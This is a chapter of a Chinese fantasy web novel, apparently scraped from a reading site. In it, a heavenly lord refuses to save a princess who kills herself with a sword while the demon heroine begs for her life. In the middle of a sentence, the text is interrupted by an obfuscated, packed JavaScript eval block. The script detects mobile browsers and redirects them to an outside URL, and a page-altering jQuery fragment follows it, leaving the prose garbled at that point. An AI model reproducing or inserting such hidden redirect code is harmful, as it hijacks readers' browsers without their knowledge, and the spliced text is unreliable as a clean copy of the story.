48. 第二十九章

作品:《手撕白月光剧本后神君黑化了

    天威浩瀚,恍若九天倾塌。


    玉折渊身处这重压之下,非但不见丝毫畏惧,反而爆发出更狂戾的杀意。


    “终于舍得下凡了?”他死死盯着那从天而降的身影,咧嘴道:“你的爱子已被本尊打趴下了。正好,让本尊掂量掂量,他的老爹,究竟有几分能耐!”


    魔焰在他周身窜动,急不可耐地发起了挑战!


    然而,他挑衅的对象只是淡漠地看着他,轻松掠过疾冲的魔焰,闪身落至广场另一隅。


    “我此番来,并非是为你。”天君将目光转向倒在一旁的“浪荡神君”:“弑神夺舍,亵渎神躯,罪不容赦。刘子庸,随我回九霄受审。”


    寥寥数语,便为这场混乱定下了调。


    他已知晓亲子陨落,但面对凶手,语气却如评述陌路尘埃,无悲,无怒,无恨,没有一丝一毫的情绪。


    “什么?!褚洛白死了?!”


    玉折渊眸中猩光一滞,魔焰失控般暴涨!


    他骤然转头,剜向刘子庸:“区区一人族皇帝,竟敢先我一步,杀了褚洛白?!”


    他像是丧失了理智,径直朝刘子庸扑去!


    嗡——!


    一道禁锢之力,将暴走的玉折渊钉在了半空。


    “放开本尊!你这伪善的懦夫!让本尊宰了他!”玉折渊目眦欲裂,可任凭他疯狂挣扎,也无法撼动那禁锢分毫。


    天君未再看他,神影微晃,来到了瘫坐在地的刘肆景面前:“你与洛白的婚约虽生变故,然九霄婚契犹存,你亦可随我回返,位列仙班。”


    他俯视着她,仿佛这是天大的恩赐,是对凡人女子莫大的垂怜。


    刘肆景茫然抬头,未回应对方的话,只是执拗地问:“洛白他…还能…回来吗?”


    “神陨道消,不可复生。”天君平静宣告着自己儿子的死讯。


    “不…不可能…”刘肆景浑身剧颤,不断否定着。


    可这一次的现实,再也容不得她拒绝了。


    为何会这样?


    她好不容易才从无望中寻到了新的活法。


    差一点,她就能告别这厄运频频的一生了…


    为何…为何会在一夕间变成这样?


    这一切,是谁害的?


    她这一生,是谁害的?


    是谁?


    究竟是谁?!


    “为什么?!”她转向奄奄一息的刘子庸,眼中爆发出刻骨的恨意:“你为什么要这么做?!你不是四皇兄!我的四皇兄绝不会这般对我!”


    刘子庸艰难地掀开脸皮,浑浊的视线几经探寻,终于对上了那双悲痛欲绝的眸子。


    那张满是血污的脸上,交织着疯狂、偏执,以及难以言喻的悲凉与痛楚。


    他嘴唇翕动,似乎想要说什么,可破碎的肺腑被血沫堵住,榨不出一丝声响。


    最终,他只是扯动了嘴角,露出了个非哭非笑、绝望的弧度。


    如此惨状,或能引得旁人一丝恻隐。


    可在肆景眼中,这还远远不够!


    他此刻承受的痛苦,难抵他施加的万分之一!


    “敢问天君,”她踏前一步,指尖深深掐入掌心,“你准备如何处置刘子庸?”


    天君看向她:“打入时狱,困于虚无之境,永生永世,不得超脱。”


    “仅此而已?”肆景心有不甘,诘声质问:“刘子庸夺舍他者躯壳,逆天改命,我不信你今日才知晓!”


    “万象生灭自有其序。大道自然,身为神族,不干涉其因,亦接受其果。”


    看着对方漠然的神情,肆景脑中响起了浪荡神君温暖的声音。


    “总的来说,他是个不错的爹。”


    当时,他是这么说的。脸上带着笑,语气中透着敬意。


    如今,那张笑颜已永远定格,而他所敬爱的父亲,竟对他的死亡置若罔闻,无感无觉!


    “什么大道自然!”肆景眼眶赤红,将满腔的悲愤化作刻薄的话语,直刺天君:“你身为天君,无视三界生苦难,身为父亲,坐视亲子被害,连一丝悲悯都吝于给予!你枉为君,枉为父!”


    “肆景!”褚洛白脸色微变,握住她的手,试图安抚她。


    “怎么,我有说错吗?!”她甩开他,怒目而视:“我们魔纵是嗜血成性,但恶得坦荡,从不以虚名标榜自身!反观你们神呢?看着无辜受难,至亲被害,无动于衷,袖手旁观!这便是你逼我奉行的‘善’吗?!”


    褚洛白张了张口,却终究无言以对。


    她的诘问,亦是他尚未勘破的迷障。


    “好,既然你们神心向善,不愿伤其形,只舍得罚他个灭心之苦,那便由我这魔,彻底作回恶!”


    肆景指尖凝焰为刃,直指刘子庸心口:“我要他,形神俱灭,身心俱毁!”


    “肆景,冷静!”褚洛白挡住了她,语速急促:“你杀不了他!强行出手,只会遭到反噬,你自己也会…”


    “那又如何?!”肆景厉声打断,熊熊燃烧的恨意盖过了一切:“即使玉石俱焚,我也要将他挫骨扬灰!”


    就在他们争执的瞬息之间,无人留意处,刘肆景眼底最后一点光亮,无声无息地,彻底熄灭了。


    她知道,致使这一切的罪魁祸首是谁了。


    是她。


    若不是她,刘子庸不会稳坐龙椅。


    若不是她,他的苛政暴令不会顺畅推行。


    若不是她,洛白不会被一凡人设计戕害。


    她的庇佑,将权柄赠予了暴君。


    她,是他最大的帮凶。


    空洞的目光扫过满是疮痍的广场,忽地,一道森冷的寒光,刺入了她麻木的视野。


    那是一柄护卫在打斗中遗落的佩剑,剑身浸在血泊中,锋刃在阳光的映照下,射出令人心悸的冷芒。


    那点光,吸引了她。


    循着光,她一步、一步,走了过去,手指颤抖着,握住了剑柄。


    她环顾着这混乱不堪的世界。


    目光掠过肆景与褚洛白,掠过被禁锢的玉折渊,掠过面无表情的天君,最终落回了剑刃之上。


    嗤啦——!


    温热的鲜血喷涌而出,带着生命最后的炽热,溅在了肆景的脸上。


    愤怒、悲恨,瞬间凝固。


    肆景僵硬地回头,大脑一片空白。


    整个世界都消失了,她的眼中只剩下那抹红色,那抹喜色与血红交织的红色。


    “不——!”


    撕心裂肺的尖啸冲破肆景的喉咙。


    她扑了过去,在刘肆景的身体即将触地前,用尽全力,抱住了她。


    “不…不可以…不可以…”


    她语无伦次地嘶喊着,双手死死按住伤口,催动全身魔气,不要命地灌入,试图封住那喷涌的血泉。


    可是那伤口太深,她只能延缓血液的流失,却无法逆转死亡的进程。


    她从未处理过如此致命的伤!


    她不会!她救不了她!


    巨大的无力和恐惧淹没了她。


    “褚洛白!”她望向场上唯一信赖的人,脸上是前所未有的惊恐与哀戚:“救她!你快救救她…”


    褚洛白闪至近前,看向刘肆景脖颈间,伤口深可见骨。


    他并指如剑,暂以神力止住了喷涌的鲜血。


    “我们无法跨越纪年杀人,亦无法…”他声音沙哑,每个字都重


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273482|177140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如千钧,“救下将死之人。”


    不,不会的…


    即便他们救不了,总有人…不,总有神能救的!


    肆景猛地抬头,看向那法力无边的天君。


    这一刻,什么骄傲、尊严,什么魔族的身份,统统都不重要了!


    她拖着染血的裙裾,爬了过去,狼狈不堪地跪在那至高无上的存在面前。


    “求您,求您,救救她!”她一下又一下地磕着头,以最虔诚的姿态,朝拜着她从未信奉过的神。


    而那位高高在上的九霄之主,只是垂着眸,看着脚边卑微祈求的魔,口中还是那句亘古不变的:“不干涉其因,亦接受其果。”


    “是、是我的错…是我干涉了她的因,这个果,应由我承担,而不是她!”肆景带着哭腔哀求道:“你想怎么罚我都可以!魂飞魄散、永坠虚无都行!只求您救救她!”


    “诸行皆自种,诸果终自受。因是她的因,果亦是她的果。”


    不是,不是这样的…


    肆景的大脑因绝望而混沌一片。


    她没力气去参透这些玄奥的大道理,她只知道,刘肆景就要死了。


    她的朋友,她唯一的朋友,快要死了!


    「肆景…别求了…」


    一个微弱的声音,在她识海中响起。


    是刘肆景。


    「天君…说的没错…这是我的果…」


    什么没错,神族乐善好施,他们不会见死不救的。


    「怎样活,由不得我…但至少,我还能选择怎样死…」


    「此生,我一直在逃避…你就让我最后再逃避一次,好不好?」


    「你就…让我走吧…」


    别走!不可以走!


    再撑一会儿!就一会儿!


    她会一直磕下去,只要一直磕,天君就会心软,就会…


    一只手伸了过来,抵在了她早已血肉模糊的额头上。


    褚洛白蹲下身,双手捧起她的脸,强迫她看向自己。


    “肆景,”他低声唤她,“大长公主…已经走了。”


    所有情绪湮灭殆尽,肆景双眸对着他,但他知道,此刻,她已看不见他了。


    “褚洛白,”天君的声音再度响起,“随我去趟九霄。”


    褚洛白身体一僵。


    天命不可违。


    但这一次,他不想听从!他要留在她身边!


    “你的困境,洛白已悉数告知。若欲寻破局之法,便随我一行。”


    褚洛白迟疑了。


    他深深看了眼怀中的肆景,广袖一展,将她与刘肆景的尸首,一道送离了这血腥的是非之地,随后直起身子,看向了天君。


    金光再次冲天而起,煌煌神威充斥天地。


    待散尽时,褚洛白与刘子庸已不见了踪影。


    那道困住玉折渊的桎梏,也在天君离开时消散。


    玉折渊从半空中稳稳落下,活动了下僵硬的身子,满腹疑问。


    不是说褚洛白死了?那方才,同天君一道离开的神仙又是谁?


    这世间有两株四叶灵萍,难不成,这褚洛白,也有两个?


    在他百思不得其解时,右护法闪至他身侧,躬身询问:“尊上,下一步如何?可要调集所有魔卫,擒拿肆景?”


    “不必。有那半妖在,她自会送上门来的。”玉折渊望向瑟瑟发抖的文武百官:“先将他们杀了再说。”


    就在这时,广场上放传来破空之声,云阙宗各长老终率弟子赶至。


    玉折渊望着那黑压压的人影,又看了看残存的魔卫。


    众寡悬殊,并无胜算。


    无奈,他只能按下杀意,咬咬牙:“撤!”